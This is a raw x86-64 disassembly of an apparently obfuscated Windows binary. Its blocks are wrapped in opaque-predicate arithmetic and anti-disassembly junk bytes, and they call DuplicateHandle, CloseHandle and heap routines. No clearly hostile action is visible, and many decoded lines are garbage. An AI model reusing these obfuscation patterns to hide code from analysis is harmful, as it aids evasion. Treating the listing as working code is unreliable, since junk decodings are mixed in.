mov esi, 0xa793d99
fcom st(1)
mov ebx, dword [rbp]
jne 0x1400ba8a0
sub rsp, 0x20
mov ecx, ebx
fld1
cvttps2pi mm0, qword [rax]
add byte [rax - 0x7d], cl
invalid
and byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
mov edi, dword [0x141f41640]
imul edi, dword [0x141f41644]
or edi, 0x221054
xor edi, 0xa046120c
or edi, 0x5a99e983
sub rsp, 0x20
mov ecx, ebx
call fcn.1400bd4a0
add rsp, 0x20
cmp edi, 0x3139a279
je 0x1400ba8a0
mov rcx, rax
mov rsi, rdx
nop dword [rax]
mov eax, dword [0x141f41648]
add eax, dword [0x141f4164c]
imul eax, eax, 0x5d53b540
or eax, 0x43673192
xor dword [rdi + 0x43], esp
xor eax, 0x49addbac
cmp eax, 0xa598181c
jae 0x1400ba8e0
jmp 0x1400bc5c2
mov edx, 0xf00001c
invalid
mov eax, dword [0x141f41668]
sub eax, dword [0x141f4166c]
imul eax, eax, 0xd044448a
imul rax, rax, 0x5daef067
shl byte [rdi - 0x10], 0xae
pop rbp
call 0x19010d41a
insd dword [rdi], dx
call 0xcacc1220
ror byte [rax + 0x69], 1
shl byte [rdi - 0x10], 0xae
pop rbp
shr rax, 0x3e
cmp eax, 0xf541213c
ja case.0x1400ba863.4
mov rsi, qword [rcx + 8]
mov r14d, dword [rbp]
nop dword [rax]
invalid
mov eax, dword [0x141f41670]
imul eax, dword [0x141f41674]
cmp eax, 0x8c98d408
je 0x1400ba940
test rsi, rsi
mov qword [rbp - 8], r11
je 0x1400bae59
add byte [rbx - 0x1792eefb], cl
add dword [rcx], esi
sal bh, cl
xor eax, 0x1e86d0d
mov eax, dword [0x141f41678]
xor edx, edx
div dword [0x141f4167c]
or eax, 0x70a9b9d4
imul eax, eax, 0xa494a9a6
cmp eax, 0xce5e526c
jne 0x1400ba9a0
mov qword [rbx], 0
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141f41680]
xor edx, edx
div dword [0x141f41684]
mov r14d, eax
add r14d, 0x35d84bba
or r14d, 0xc03b79b1
mov qword [rbx], 0
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
add rsp, 0x20
cmp r14d, 0x64b5606c
je 0x1400ba9a0
sub rsp, 0x40
mov dword [rsp + 0x30], 2
and al, 0x30
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rsi
invalid
mov r8, rax
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
add rsp, 0x40
test eax, eax
je 0x1400bb064
invalid
add byte [rax], al
mov rbx, qword [rbx]
nop dword [rax]
mov eax, dword [0x141f41688]
imul eax, dword [0x141f4168c]
or eax, 0x5bcea200
movabs byte [0x4831eb45ce355bce], al
imul eax, eax, 0x2d266a9d
shr rax, 0x3d
cmp eax, 0xfb2a1585
ja 0x1400baa20
mov r14d, dword [rbp]
nop dword [rax]
mov eax, dword [0x141f41690]
or eax, dword [str.cz3e_]
or eax, 0x58a524ac
xor eax, 0x6154687f
add eax, 0x49de9ea9
cmp eax, 0x94373168
ja 0x1400baa50
jmp 0x1400bae5b
mov eax, dword [0x141f41998]
sub eax, dword [0x141f4199c]
xor eax, 0x7a608cd7
imul eax, eax, 0x584b864c
imul rax, rax, 0x72a21e83
shr rax, 0x3d
cmp eax, 0xa4f76bef
ja case.0x1400ba863.5
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x1400baff3
invalid
invalid
invalid
add byte [rax], al
nop word cs:[rax + rax]
mov eax, dword [0x141f419a0]
sub eax, dword [0x141f419a4]
add dword [rax + 0x69], ecx
rol byte [rdi], 0x3d
pop rcx
push rcx
shr rax, 0x3e
or eax, 0xf003e498
invalid
cmp eax, 0xcb9aae8c
jb 0x1400baac0
invalid
mov eax, dword [0x141f419a8]
and eax, dword [0x141f419ac]
mov ebp, 0x6901e86e
rol dh, 0x6c
mov ebp, 0x80803529
sub byte [rax + 0x25], dh
stosb byte [rdi], al
cmp ebx, 0x70
mov ebp, 0x6901e86e
rol dh, 0x6c
mov ebp, 0x80803529
sub byte [rax + 0x25], dh
stosb byte [rdi], al
cmp ebx, 0x70
cmp eax, 0xaf092697
jne 0x1400bab48
mov qword [rsi], 0
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x20
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
cli
cli
mov r8, rax
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
add rsp, 0x40
mov rbx, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
nop
mov eax, dword [0x141f419b0]
or eax, dword [0x141f419b4]
add eax, 0xe7e72f20
imul rax, rax, 0x9131a75
shr rax, 0x3b
imul r14d, eax, 0x580a19b6
mov qword [rsi], 0
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x20
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
mov r8, rax
mov r9, rsi
call rbx
add rsp, 0x40
cmp r14d, 0x8d498511
ja 0x1400bab50
test eax, eax
je 0x1400bb08a
mov rsi, qword [rsi]
nop word cs:[rax + rax]
mov eax, dword [0x141f419b8]
or eax, dword [0x141f419bc]
or eax, 0x184d1058
xor eax, 0xa5065c77
add eax, 0x4932e868
cmp eax, 0x52fc087b
jb 0x1400babd0
xor ecx, ecx
nop word cs:[rax + rax]
mov eax, dword [0x141f419c0]
sub eax, dword [0x141f419c4]
add eax, 0xe9716bba
or eax, 0x4f77f3fb
cmp eax, 0xee4dde9b
jae 0x1400bac00
jmp 0x1400bc5c2
mov eax, dword [0x141f41630]
xor eax, dword [0x141f41634]
add eax, 0xb198983a
cmp bl, byte [rax + 0xd35b198]
sbb byte [rbp + rcx + 0xd], al
and bl, ah
cmp eax, dword [rdx - 0x1bb05dc3]
in al, 0xb4
in al, 0xb4
je case.default.0x1400ba863
jmp 0x1400bb0b2
mov eax, dword [0x141f41658]
or eax, dword [0x141f4165c]
or eax, 0xe802a01
and eax, 0x8eb02a03
cmp eax, 0x6a560e8b
jae 0x1400bac89
mov dword [rdx], 0x18
mov qword [rdx + 8], 0
add byte [rax], al
add bh, al
adc byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add bh, al
adc byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
add rax, 0x20
mov r9d, dword [rbp]
nop word cs:[rax + rax]
invalid
and byte [rbx + rcx*4 + 0x4d], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
invalid
add byte [rbx - 0x179645f3], cl
add dword [rbx], ebp
or eax, 0x1e869b8
invalid
invalid
invalid
mov ecx, dword [0x141f41660]
sub ecx, dword [0x141f41664]
invalid
invalid
invalid
imul ebp, eax, 0xf8e18101
mov esp, 0xc181186b
push rbp
fld dword [rdi]
test byte [rcx + 0x103744e1], al
sbb bh, al
add bl, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rax], al
add byte [rax], al
add bh, al
adc byte [rcx], al
add byte [rax], al
add byte [rcx + 0x492926f9], al
invalid
and ecx, 0x186bbcf8
add ecx, 0x8407d955
and ecx, 0x18103744
mov dword [rdx], 0x18
mov qword [rdx + 8], 0
mov dword [rdx + 0x10], 1
cmp ecx, 0x2f492926
je 0x1400baca0
mov dword [r8], 0
mov word [rax + 4], 0
mov dword [rax], 0
movaps xmm0, xmmword [0x140108da0]
movups xmmword [r8 + 0x10], xmm0
cmp r9d, 0xfffffff6
sete byte [r8 + 0x20]
setne byte [r8 + 0x21]
mov qword [r8 + 8], rdx
sub rsp, 0x20
lea rcx, [0x141f25a43]
mov edx, 7
call fcn.140098e00
add rsp, 0x20
mov rcx, rax
mov rsi, rdx
test rax, rax
je 0x1400bada0
mov eax, dword [0x141f419d8]
xor edx, edx
div dword [0x141f419dc]
nop
mov eax, dword [0x141f419e0]
sub eax, dword [0x141f419e4]
xor eax, 0x680119e8
and eax, 0xffcd19e8
add eax, 0xf4d3fc8b
cmp eax, 0x2d3aba6c
jb 0x1400bad40
nop word cs:[rax + rax]
mov eax, dword [0x141f419e8]
or eax, dword [0x141f419ec]
imul rdx, rax, 0x11fb7589
shr rdx, 0x20
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
or eax, 0xe702fcee
cmp eax, 0x8744dcb6
je 0x1400bad70
nop dword [rax]
mov eax, dword [0x141f419f0]
xor eax, dword [0x141f419f4]
imul eax, eax, 0xdc7ebff
imul rax, rax, 0x5d0fd13d
shr rax, 0x3e
cmp eax, 0x35ebb5c3
ja 0x1400bada0
jmp 0x1400bc5c2
cmp dword [rbp], 0xfffffff6
setne dl
sub rsp, 0x20
mov rcx, r14
call fcn.1400bdad0
add rsp, 0x20
cmp qword [r14], 0
mov rdi, qword [r14 + 8]
je 0x1400baf28
mov ecx, 1
mov rsi, rdi
jmp 0x1400bc5c2
mov ecx, dword [rcx + 4]
sub rsp, 0x20
call fcn.1400bd4a0
add rsp, 0x20
mov rcx, rax
mov rsi, rdx
nop word cs:[rax + rax]
mov eax, dword [0x141f41650]
or eax, dword [0x141f41654]
imul eax, eax, 0x6f12b39b
add eax, 0x8ebfe74a
imul rax, rax, 0x2055d32b
shr rax, 0x3d
cmp eax, 0xe1b1d5bb
ja 0x1400bae20
xor eax, eax
nop dword [rax + rax]
test al, al
jne 0x1400bae50
jmp 0x1400bc5c2
xor ebx, ebx
mov eax, dword [0x141f416b0]
and eax, dword [0x141f416b4]
imul eax, eax, 0x82ad3ab6
or eax, 0xdd4f5c6
cmp eax, 0xad1bb5d4
jne 0x1400bae90
cmp r14d, 0xfffffff6
setne dl
sub rsp, 0x20
mov rcx, r13
call fcn.1400bdad0
add rsp, 0x20
cmp r14d, 0xfffffff6
setne dl
mov eax, dword [0x141f416b8]
sub eax, dword [0x141f416bc]
imul rsi, rax, 0x7373f8bf
shr rsi, 0x3c
add esi, 0xc52a0c8e
or esi, 0x643715a7
sub rsp, 0x20
mov rcx, r13
call fcn.1400bdad0
add rsp, 0x20
cmp esi, 0x49f5dab8
je 0x1400bae90
mov rsi, qword [r13 + 8]
cmp qword [r13], 0
je 0x1400baffc
sub rsp, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141f41990]
sub eax, dword [0x141f41994]
xor eax, 0x10c484f2
or eax, 0x65227a01
imul eax, eax, 0x712b03c2
cmp eax, 0x1bb164ca
jb 0x1400baf00
jmp 0x1400bc5bd
mov rbx, qword [rbp - 8]
nop dword [rax]
mov eax, dword [0x141f419f8]
imul eax, dword [0x141f419fc]
xor eax, 0x6d9d5cb2
imul eax, eax, 0xa10794c6
add eax, 0xe0c3284f
cmp eax, 0xd3f2fe13
ja 0x1400baf30
mov rsi, qword [r14 + 0x10]
mov rax, qword [rbx]
nop dword [rax + rax]
mov ecx, dword [0x141f41a00]
and ecx, dword [0x141f41a04]
xor ecx, 0x40200
or ecx, 0x6aabf950
imul ecx, ecx, 0xc9b6924e
cmp ecx, 0x2a1790c0
je 0x1400baf60
test rax, rax
je 0x1400bafbd
mov rcx, qword [rbx + 8]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141f41a08]
sub eax, dword [0x141f41a0c]
or eax, 0xdf9f1e67
and eax, 0xffbf7f67
cmp eax, 0xbd7e9057
jb 0x1400bafa0
mov qword [rbx], 1
mov eax, dword [0x141f41a10]
sub eax, dword [0x141f41a14]
add eax, 0x9e38d51c
imul rax, rax, 0x6acb35f7
shr rax, 0x3d
and eax, 1
cmp eax, 0xd797bec2
jbe 0x1400bc5d9
jmp 0x1400bc60f
xor esi, esi
xor ecx, ecx
jmp 0x1400bc5c2
mov edx, dword [rbp]
nop
mov eax, dword [0x141f416c0]
imul eax, dword [0x141f416c4]
imul eax, eax, 0xb26ba8ce
add eax, 0xb2a13224
imul rax, rax, 0x2f8ad457
shr rax, 0x3d
cmp edx, 0xfffffff6
mov rcx, rbx
cmovne rcx, rsi
mov r14, rsi
cmovne r14, rbx
cmp eax, 0xfe8b2bc2
ja 0x1400bb000
mov rsi, qword [r13 + 0x10]
mov eax, dword [0x141f416c8]
or eax, dword [0x141f416cc]
or eax, 0x6bfaffbf
imul rax, rax, 0x3fb723f9
shr rax, 0x39
cmp eax, 0xb473ad5e
jbe 0x1400bb0b4
jmp 0x1400bb0de
mov eax, dword [0x141f41698]
or eax, dword [0x141f4169c]
or eax, 0x11420223
and eax, 0x31d20a33
cmp eax, 0xf5928368
jbe 0x1400bb37c
jmp 0x1400bb3b3
mov eax, dword [0x141f419c8]
xor edx, edx
div dword [0x141f419cc]
or eax, 0xfdf3dcf6
add eax, 0x9a29b0ed
cmp eax, 0x7dd4ef
jae 0x1400bc566
jmp 0x1400bc57c
ud2
mov eax, dword [0x141f416d0]
xor eax, dword [0x141f416d4]
imul rax, rax, 0x3dc137a1
shr rax, 0x3d
or eax, 0x1c566c9a
mov rbx, qword [0x141f48fd0]
cmp eax, 0x6a99a679
jbe 0x1400bb0e7
mov rax, qword [0x141f48fd0]
jmp 0x1400bb0b4
test rbx, rbx
mov qword [rbp - 0x18], rcx
je 0x1400bb153
dec rbx
nop word cs:[rax + rax]
mov eax, dword [0x141f416e8]
sub eax, dword [0x141f416ec]
add eax, 0x8416046
and eax, 0x82a3d633
xor eax, 0x19d75661
cmp eax, 0xd1523a43
ja 0x1400bb100
nop word cs:[rax + rax]
mov eax, dword [0x141f416f0]
xor eax, dword [str.2A9Jk_ny]
imul rax, rax, 0x431b3be9
shr rax, 0x3e
cmp eax, 0xe0a18d68
je 0x1400bb130
jmp 0x1400bb589
mov eax, dword [0x141f416d8]
xor edx, edx
div dword [0x141f416dc]
add eax, 0x55228643
mov ecx, 0x885f2345
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0x57e3382e
jne 0x1400bb198
sub rsp, 0x20
lea rdx, [0x141f25698]
mov r8d, 0xe
mov rcx, r12
call fcn.140095520
add rsp, 0x20
lea rbx, [0x141f25698]
nop
mov r13d, dword [0x141f416e0]
sub r13d, dword [0x141f416e4]
add r13d, 0x9a45cd0c
and r13d, 0x79e2b0ce
sub rsp, 0x20
mov r8d, 0xe
mov rcx, r12
mov rdx, rbx
call fcn.140095520
add rsp, 0x20
cmp r13d, 0x10e1f4ff
jb 0x1400bb1a0
mov rcx, qword [r12]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x1400bb22e
nop word cs:[rax + rax]
mov eax, dword [0x141f416f8]
xor edx, edx
div dword [0x141f416fc]
or eax, 0xf4748191
add eax, 0x2bac31ed
or eax, 0x29813169
cmp eax, 0x3fa814bd
ja 0x1400bb200
mov ebx, 0x200000
jmp 0x1400bb51f
mov qword [rbp], rcx
mov r13, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
mov eax, dword [0x141f41700]
xor edx, edx
div dword [0x141f41704]
add eax, 0xd16070de
xor eax, 0x24b06284
and eax, 0x25b0fa87
cmp eax, 0xde8ad1a3
jbe 0x1400bb277
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov rdx, r13
mov r8, rbx
call fcn.140057380
add rsp, 0x20
mov r8, qword [rbp - 0x10]
nop dword [rax + rax]
mov eax, dword [0x141f41708]
imul eax, dword [0x141f4170c]
imul eax, eax, 0x85d61ce0
add eax, 0xc9f80678
imul r12, rax, 0x6f1f3229
shr r12, 0x3d
sub rsp, 0x20
mov rcx, r8
mov rdx, r13
mov r8, rbx
call fcn.140057380
mov r8, qword [rbp - 0x10]
add rsp, 0x20
cmp r12d, 0xc84385cc
ja 0x1400bb280
mov eax, dword [0x141f41710]
xor edx, edx
div dword [0x141f41714]
nop word cs:[rax + rax]
mov eax, dword [0x141f41718]
xor edx, edx
div dword [0x141f4171c]
or eax, 0x69e3c50
and eax, 0x569ebc55
cmp eax, 0x238c3aa8
ja 0x1400bb2e0
cmp qword [r8], 0
mov rcx, qword [rbp - 8]
je 0x1400bb32d
xor r8d, r8d
mov rcx, qword [rbp]
mov eax, dword [0x141f41738]
or eax, dword [0x141f4173c]
add eax, 0xa4cce622
cmp eax, 0xecd4609
jb 0x1400bb310
jmp 0x1400bb470
mov rbx, qword [r8 + 8]
mov eax, 0xc8dc8ceb
mov edx, dword [0x141f41720]
or edx, dword [0x141f41724]
shr edx, 1
imul rdx, rax
shr rdx, 0x3c
add edx, 0x5ab351ec
cmp edx, 0xf945a741
ja 0x1400bb336
mov eax, dword [str._DPNK]
and eax, dword [0x141f4172c]
add eax, 0x4aea880
and eax, 0x3a8d2681
cmp eax, 0x531bc203
jbe 0x1400bb3f2
jmp 0x1400bb441
mov eax, dword [0x141f416a0]
mov ecx, dword [0x141f416a4]
lea edi, [rax + rcx]
add edi, 0x95ce8c8d
or edi, 0x7e4fe53c
xor edi, 0x9c123164
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp edi, 0xb987c0e3
jae 0x1400bb3c3
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
jmp 0x1400bb37c
mov esi, eax
shl rsi, 0x20
or rsi, 2
nop dword [rax]
mov eax, dword [0x141f416a8]
and eax, dword [0x141f416ac]
add eax, 0x9f7074ae
xor eax, 0xda98e32e
cmp eax, 0x4e18db3
jb 0x1400bb3d0
jmp 0x1400bc5bd
mov eax, dword [0x141f41730]
sub eax, dword [0x141f41734]
mov r12d, 0x839d7897
imul r12, rax
shr r12, 0x3f
or r12d, 0xed0eb676
mov rax, qword [rbp - 0x10]
mov r8, qword [rax + 0x10]
sub rsp, 0x20
mov rdx, rbx
call fcn.140060850
mov rcx, qword [rbp - 8]
add rsp, 0x20
xor r8d, r8d
cmp byte [rcx], 0
sete al
cmp r12d, 0x485e7c2a
jae 0x1400bb45f
mov rax, qword [rbp - 0x10]
mov r8, qword [rax + 0x10]
sub rsp, 0x20
mov rdx, rbx
call fcn.140060850
mov rcx, qword [rbp - 8]
add rsp, 0x20
jmp 0x1400bb3f2
mov rbx, qword [rcx + 8]
mov r8b, al
mov rcx, qword [rbp]
nop word [rax + rax]
mov eax, dword [0x141f41740]
and eax, dword [0x141f41744]
or eax, 0x95bf37b0
imul rax, rax, 0x2df8b65b
shr rax, 0x3d
or eax, 0x955ca384
cmp eax, 0x9e610543
ja 0x1400bb470
test rcx, rcx
je 0x1400bb4f0
mov rcx, qword [0x141f49060]
sub rsp, 0x20
xor edx, edx
mov r12, r8
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r12
add rsp, 0x20
mov eax, dword [0x141f41748]
xor edx, edx
div dword [0x141f4174c]
and eax, 0x69f6a989
imul eax, eax, 0x2142f531
add eax, 0x50f3392e
cmp eax, 0x2ac13603
jb 0x1400bb4bd
nop word cs:[rax + rax]
mov eax, dword [0x141f41750]
imul eax, dword [0x141f41754]
add eax, 0x1bc877f1
or eax, 0x94008579
add eax, 0x891f9cdb
cmp eax, 0x8469e5b4
ja 0x1400bb4f0
test r8, r8
mov eax, 0x200000
cmove rbx, rax
mov eax, dword [0x141f41758]
or eax, dword [0x141f4175c]
imul eax, eax, 0x30894ca1
or eax, 0xc9f19151
cmp eax, 0x59c2be74
jne 0x1400bb548
lea rax, [rbx + 1]
mov qword [0x141f48fd0], rax
mov eax, 0xbdff5fdd
lea rcx, [rbx + 1]
nop word cs:[rax + rax]
mov edx, dword [0x141f41760]
add edx, dword [0x141f41764]
imul rdx, rax
shr rdx, 0x3c
or edx, 0x94e36e77
mov qword [0x141f48fd0], rcx
cmp edx, 0x22486f9e
je 0x1400bb560
mov qword [rbp - 0x10], rbx
mov eax, dword [0x141f41768]
xor edx, edx
div dword [0x141f4176c]
and eax, 0xbf95aacc
imul eax, eax, 0x96c92ae1
add eax, 0x483d2571
cmp eax, 0x27a394e8
jae 0x1400bb5d0
movzx eax, byte [0x141f49078]
sub rsp, 0x20
mov edx, 0x38
xor ecx, ecx
call fcn.1400c6170
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141f41770]
and eax, dword [0x141f41774]
imul rbx, rax, 0x550aa3d3
shr rbx, 0x3d
add ebx, 0xdfd20d6f
and ebx, 0xc7920133
movzx eax, byte [0x141f49078]
sub rsp, 0x20
mov edx, 0x38
xor ecx, ecx
call fcn.1400c6170
add rsp, 0x20
cmp ebx, 0xce1d8a9a
je 0x1400bb5d0
mov r12, rax
test rax, rax
je 0x1400bb73b
mov qword [r12], 1
mov qword [r12 + 8], 1
mov qword [r12 + 0x10], 2
mov rcx, qword [0x141f49040]
xor r8d, r8d
jmp 0x1400bb658
mov rcx, rax
test r9b, r9b
jne 0x1400bb6d5
mov eax, dword [0x141f41780]
xor edx, edx
div dword [0x141f41784]
imul eax, eax, 0x6e9b0d9c
cmp eax, 0x80d4b163
ja 0x1400bb658
cmp rcx, 0xffffffffffffffff
je 0x1400bb787
test r8b, r8b
jne 0x1400bb6c3
nop word cs:[rax + rax]
mov r10d, dword [0x141f41788]
imul r10d, dword [0x141f4178c]
and r10d, 0xb2670617
lea rdx, [rcx + 1]
mov rax, rcx
lock cmpxchg qword [0x141f49040], rdx
sete r9b
cmp r10d, 0xb335318a
jne 0x1400bb650
lea rdx, [rcx + 1]
mov rax, rcx
lock cmpxchg qword [0x141f49040], rdx
jmp 0x1400bb690
mov qword [r12 + 0x28], rdx
mov byte [r12 + 0x30], 0
lock inc qword [r12]
jle 0x1400bb758
movzx eax, byte [0x141f49078]
sub rsp, 0x20
mov edx, 0x30
xor ecx, ecx
call fcn.1400c6170
add rsp, 0x20
test rax, rax
je 0x1400bb7ab
mov rbx, rax
mov eax, dword [0x141f417a8]
imul eax, dword [0x141f417ac]
imul eax, eax, 0x65c12fde
add eax, 0xf8d1335a
or eax, 0xcd5dd8dd
cmp eax, 0xe5312535
jae 0x1400bb812
jmp 0x1400bb83e
ud2
ud2
mov eax, dword [0x141f41790]
add eax, dword [0x141f41794]
xor eax, 0xcc001c03
and eax, 0xcd447c07
add eax, 0x7d63532d
cmp eax, 0x25c9a33
jae 0x1400bb7dd
jmp 0x1400bb80e
xor eax, eax
test al, al
jne 0x1400bb7d9
mov eax, dword [0x141f417a0]
add eax, dword [0x141f417a4]
xor eax, 0x10c06000
and eax, 0x15cc71d8
add eax, 0xbde1e75c
ud2
ud2
mov eax, dword [0x141f41798]
sub eax, dword [0x141f4179c]
and eax, 0xc1c96f2
add eax, 0xcda0b509
mov ecx, 0xb0650f97
imul rcx, rax
shr rcx, 0x3f
ud2
ud2
mov eax, dword [0x141f417b0]
sub eax, dword [0x141f417b4]
xor eax, 0x99c71515
add eax, 0x3ea8d9ba
mov qword [rbx], 1
mov qword [rbx + 8], 1
cmp eax, 0x88e2fbeb
jae 0x1400bb84f
mov qword [rbx], 1
mov qword [rbx + 8], 1
jmp 0x1400bb812
xorps xmm0, xmm0
movups xmmword [rbx + 0x10], xmm0
mov qword [rdi], rbx
lock inc qword [rbx]
jle 0x1400bbac6
xor eax, eax
test al, al
je 0x1400bb870
movzx eax, byte [0x141f48fd8]
mov ecx, dword [0x141f417c0]
add ecx, dword [0x141f417c4]
xor ecx, 0xb2011024
and ecx, 0xf257313c
add ecx, 0xcae068f4
movzx eax, byte [0x141f48fd8]
cmp ecx, 0xa47b46d7
jb 0x1400bb870
test al, al
je 0x1400bb9d6
mov byte [0x141f48fd8], 1
nop dword [rax]
mov eax, dword [0x141f417c8]
or eax, dword [0x141f417cc]
or eax, 0xd860350d
xor eax, 0x3ef6f9cc
add eax, 0x478b7943
cmp eax, 0x9b18d823
ja 0x1400bb8b0
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x60]
nop dword [rax]
mov ecx, dword [0x141f417d0]
and ecx, dword [0x141f417d4]
add ecx, 0x72906410
and ecx, 0xa2da3cbd
imul ecx, ecx, 0x42023dc
cmp ecx, 0x3a9d77d8
jb 0x1400bb8f0
cmp eax, 1
jne 0x1400bbaa5
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0x68]
mov qword [rax + 0x68], 0
test r13, r13
je 0x1400bb9d6
mov eax, dword [0x141f41800]
imul eax, dword [str.Q_sC]
xor eax, 0xd407bbff
add eax, 0xb42df265
xor eax, 0xc114e528
cmp eax, 0x584f612c
jae 0x1400bb980
lock inc qword [r13]
nop word cs:[rax + rax]
mov ecx, dword [0x141f41808]
and ecx, dword [0x141f4180c]
mov eax, 1
lock xadd qword [r13], rax
cmp ecx, 0xd33d8be5
je 0x1400bb980
nop
mov ecx, dword [0x141f41810]
and ecx, dword [0x141f41814]
xor ecx, 0x11088809
and ecx, 0x354fa8b9
add ecx, 0x7aa7ef1
cmp ecx, 0x85aaf7fe
ja 0x1400bb9a0
test rax, rax
js 0x1400bbaed
xor eax, eax
jmp 0x1400bba75
mov eax, dword [0x141f41818]
sub eax, dword [0x141f4181c]
xor eax, 0x3108c684
imul eax, eax, 0x60ac189e
xor eax, 0xf719b4d5
cmp eax, 0x754eb031
jae 0x1400bba00
movzx eax, byte [0x141f48fd8]
mov eax, dword [0x141f41820]
and eax, dword [0x141f41824]
add eax, 0x70f08aad
xor eax, 0x5253fb9d
imul eax, eax, 0x5c9a5a53
movzx ecx, byte [0x141f48fd8]
cmp eax, 0xa6ef977f
jb 0x1400bba00
xor eax, eax
nop dword [rax]
test al, al
jne 0x1400bba30
nop word cs:[rax + rax]
mov eax, dword [0x141f41828]
xor eax, dword [0x141f4182c]
add eax, 0xef2bba2a
imul rax, rax, 0x289f4be7
shr rax, 0x3d
or eax, 0xec7421fa
cmp eax, 0x4b3c4754
jb 0x1400bba40
mov al, 1
xor r13d, r13d
test cl, cl
je 0x1400bbeca
mov ecx, dword [0x141f41830]
imul ecx, dword [0x141f41834]
imul ecx, ecx, 0xbeb99170
xor ecx, 0x21ce3d96
imul ecx, ecx, 0x110af941
cmp ecx, 0x2c8a0f81
jne 0x1400bbbd0
jmp 0x1400bbbfe
test rax, rax
jne 0x1400bbb3e
sub rsp, 0x20
call fcn.140101800
add rsp, 0x20
xor eax, eax
test al, al
jne 0x1400bbabd
jmp 0x1400bb91f
mov eax, dword [0x141f417e8]
imul eax, dword [0x141f417ec]
xor eax, 0x93fef341
add eax, 0xfc71fc9f
cmp eax, 0x564be7f2
jae 0x1400bbb87
jmp 0x1400bbba7
mov eax, dword [0x141f418a8]
xor edx, edx
div dword [0x141f418ac]
or eax, 0x2e0e11cb
imul eax, eax, 0x308ad554
add eax, 0xa64b3b07
cmp eax, 0xe20c04ec
jbe 0x1400bbb14
ud2
mov eax, dword [0x141f418b0]
sub eax, dword [0x141f418b4]
add eax, 0x3793e5b3
or eax, 0x86c83f0f
ud2
mov eax, dword [0x141f417d8]
sub eax, dword [0x141f417dc]
imul eax, eax, 0x34079b5
cmp eax, 0xdd140c39
jne 0x1400bbb59
ud2
mov eax, 0xd9c1c313
mov ecx, dword [0x141f417e0]
xor ecx, dword [0x141f417e4]
add ecx, 0xd2982c1
imul rcx, rax
shr rcx, 0x3e
ud2
mov eax, dword [0x141f417f0]
and eax, dword [0x141f417f4]
or eax, 0x57fe0357
imul eax, eax, 0x9f88d1e9
ud2
ud2
mov ecx, dword [0x141f41838]
and ecx, dword [0x141f4183c]
xor ecx, 0x21a84f05
mov edx, 0xc1beba93
imul rdx, rcx
shr rdx, 0x3f
mov byte [0x141f48fd8], 1
cmp edx, 0x9abd25cc
jbe 0x1400bbc07
mov byte [0x141f48fd8], 1
jmp 0x1400bbbd0
mov ecx, dword [0x141f4907c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0x60]
cmp ecx, 1
jne 0x1400bbd82
nop word [rax + rax]
mov eax, dword [str..btR]
and eax, dword [0x141f4187c]
imul eax, eax, 0x72c6a26b
imul rax, rax, 0x70491d37
shr rax, 0x3e
or eax, 0x66292208
cmp eax, 0x54fc3a53
jb 0x1400bbc30
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x68]
xor eax, eax
test al, al
je 0x1400bbca0
mov eax, dword [0x141f4907c]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0x68], r13
nop word cs:[rax + rax]
mov eax, dword [0x141f4907c]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov edx, dword [0x141f41880]
xor edx, dword [0x141f41884]
and edx, 0x7c37473d
add edx, 0x67ea9a59
or edx, 0x36c487fa
mov qword [rax + 0x68], r13
cmp edx, 0x8d14e50f
je 0x1400bbca0
mov eax, dword [0x141f41888]
or eax, dword [0x141f4188c]
add eax, 0xb954a9b5
xor eax, 0xbb2dc725
imul eax, eax, 0xcc4839e4
cmp eax, 0xbd723fef
jb 0x1400bbce0
test rcx, rcx
je 0x1400bbeca
lock dec qword [rcx]
sete al
nop word cs:[rax + rax]
mov edx, dword [0x141f41890]
and edx, dword [0x141f41894]
xor edx, 0x1cd30878
add edx, 0x65daa02e
and edx, 0xe9078e3d
cmp edx, 0x79f9571f
ja 0x1400bbd20
test al, al
je 0x1400bbeca
mov qword [rbp - 8], rbx
mov qword [rbp], r13
